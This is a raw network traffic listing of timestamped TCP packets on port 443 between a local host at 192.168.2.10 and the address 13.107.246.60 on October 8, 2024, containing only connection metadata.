Oct 8, 2024 03:24:41.176671982 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.176713943 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.176779032 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.176897049 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.176897049 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.177067041 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.177092075 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.177105904 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.177113056 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.179946899 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.179981947 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.180068016 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.180219889 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.180233955 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.222193956 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.222297907 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.222364902 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.222495079 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.222512960 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.222522974 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.222527027 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.225347996 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.225395918 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.225482941 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.225630045 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.225637913 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.257062912 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.257672071 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.257688999 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.258069038 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.258073092 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.355777979 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.355833054 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.355916023 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.356163025 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.356177092 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.356189966 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.356194973 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.359472990 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.359523058 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.359589100 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.359759092 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.359771013 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.511554956 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.512161970 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.512190104 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.512521982 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.512528896 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.593005896 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.593473911 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.593487024 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.593833923 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.593847990 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.611840963 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.612075090 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.612133026 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.612164021 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.612179041 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.612188101 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.612193108 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.614707947 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.614731073 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.614793062 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.614938021 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.614947081 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.696290970 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.696319103 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.696372986 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.696427107 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.696439981 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.696609974 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.696633101 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.696676016 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.696682930 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.699378967 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.699410915 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.699482918 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.699635983 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.699645996 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.867084026 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.867619038 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.867633104 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.868068933 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.868072987 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.909336090 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.910001993 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.910037041 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.910356045 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.910362959 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.969244957 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.969326019 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.969383001 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.969491959 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.969511032 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.969522953 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.969528913 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.971980095 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.972024918 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.972181082 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.972208023 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.972213030 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.012696981 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.013732910 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.013772011 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.013842106 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.013931990 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.013955116 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.013963938 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.013967991 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.016470909 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.016510010 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.016570091 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.016693115 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.016707897 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.048450947 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.048899889 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.048930883 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.049339056 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.049345016 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.153959036 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.154805899 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.154961109 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.155021906 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.155040026 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.155050993 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.155056000 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.157495022 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.157517910 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.157604933 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.157740116 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.157751083 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.261022091 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.261524916 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.261535883 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.261975050 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.261979103 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.361609936 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.361635923 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.361671925 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.361700058 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.361737013 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.361960888 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.361969948 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.361979961 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.361984015 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.364727974 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.364762068 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.364842892 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.364998102 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.365011930 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.373761892 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.374104023 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.374111891 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.374530077 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.374535084 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.477314949 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.477505922 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.477602959 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.477704048 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.477716923 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.477725029 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.477730036 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.480719090 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.480757952 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.480845928 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.481010914 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.481024027 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.614053965 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.614512920 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.614530087 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.614948034 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.614953041 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.676047087 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.676521063 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.676548004 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.676959038 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.676964045 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.714700937 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.715514898 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.715570927 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.715657949 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.715675116 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.715683937 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.715688944 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.718175888 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.718203068 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.718275070 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.718422890 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.718431950 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.776351929 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.776443005 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.776518106 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.776709080 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.776727915 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.776738882 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.776743889 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.779320002 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.779381037 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.779467106 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.779614925 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.779628038 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.837840080 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.838321924 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.838340044 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.838777065 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.838783026 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.943171978 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.943192959 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.943233013 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.943258047 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.943298101 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.943475962 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.943495989 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.943504095 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.943509102 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.945821047 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.945924997 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:42.946012020 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.946261883 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:42.946297884 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.022392988 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.022815943 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.022835970 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.023221970 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.023226976 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.122926950 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.123075008 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.123131990 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.123255014 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.123279095 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.123287916 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.123292923 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.125879049 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.125895023 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.125958920 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.126094103 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.126100063 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.177647114 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.178054094 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.178066969 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.178613901 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.178618908 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.285099983 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.285243988 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.285305977 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.285376072 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.285389900 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.285398960 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.285403013 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.288058996 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.288086891 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.288153887 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.288276911 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.288289070 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.381184101 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.381623983 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.381634951 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.382077932 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.382081985 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.443881989 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.444638014 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.444730043 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.445053101 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.445066929 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.484724998 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.484843016 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.484904051 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.485064983 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.485076904 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.485085011 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.485090971 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.487925053 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.488025904 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.488126040 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.488291979 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.488334894 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.547252893 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.547368050 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.547504902 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.547616959 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.547667980 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.547698021 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.547715902 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.549985886 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.550031900 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.550101995 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.550342083 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.550369978 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.595659018 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.596048117 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.596091986 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.596437931 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.596450090 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.694772005 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.695241928 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.695301056 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.698837042 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.698863983 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.698888063 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.698899984 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.708528042 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.708556890 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.708626986 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.708765030 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.708777905 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.763653994 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.764111996 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.764120102 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.764647007 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.764651060 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.864075899 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.864234924 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.864309072 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.864454985 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.864463091 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.864475965 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.864480019 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.867363930 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.867403984 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.867505074 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.867754936 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.867768049 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.953285933 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.953752995 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.953764915 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:43.954179049 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:43.954184055 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.053639889 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.053785086 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.053854942 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.053971052 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.053989887 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.053999901 CEST	49936	443	192.168.2.10	13.107.246.60
